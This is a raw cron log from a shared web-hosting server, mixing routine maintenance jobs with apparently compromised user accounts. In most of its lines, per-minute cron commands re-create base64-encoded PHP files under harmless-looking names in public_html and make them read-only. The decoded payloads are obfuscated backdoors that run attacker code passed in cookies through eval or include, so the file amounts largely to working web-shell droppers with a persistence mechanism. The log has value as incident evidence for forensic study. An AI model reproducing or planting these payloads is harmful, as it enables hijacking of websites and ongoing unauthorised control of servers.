Mar  1 18:31:01 medusa CROND[2469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:31:01 medusa CROND[2482]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:31:01 medusa CROND[2483]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:31:01 medusa CROND[2484]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:32:01 medusa CROND[26108]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:32:01 medusa CROND[26109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:32:01 medusa CROND[26110]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:32:01 medusa CROND[26107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:32:01 medusa CROND[26111]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:32:01 medusa CROND[26112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:32:01 medusa CROND[26113]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:32:01 medusa CROND[26118]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:32:01 medusa CROND[26122]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:32:01 medusa CROND[26124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:32:01 medusa CROND[26125]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:32:01 medusa CROND[26127]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:32:01 medusa CROND[26126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:33:02 medusa CROND[18114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:33:02 medusa CROND[18115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:33:02 medusa CROND[18118]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:33:02 medusa CROND[18119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:33:02 medusa CROND[18121]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:33:02 medusa CROND[18123]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:33:02 medusa CROND[18125]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:33:02 medusa CROND[18126]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:33:02 medusa CROND[18133]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:33:02 medusa CROND[18135]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:33:02 medusa CROND[18136]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; 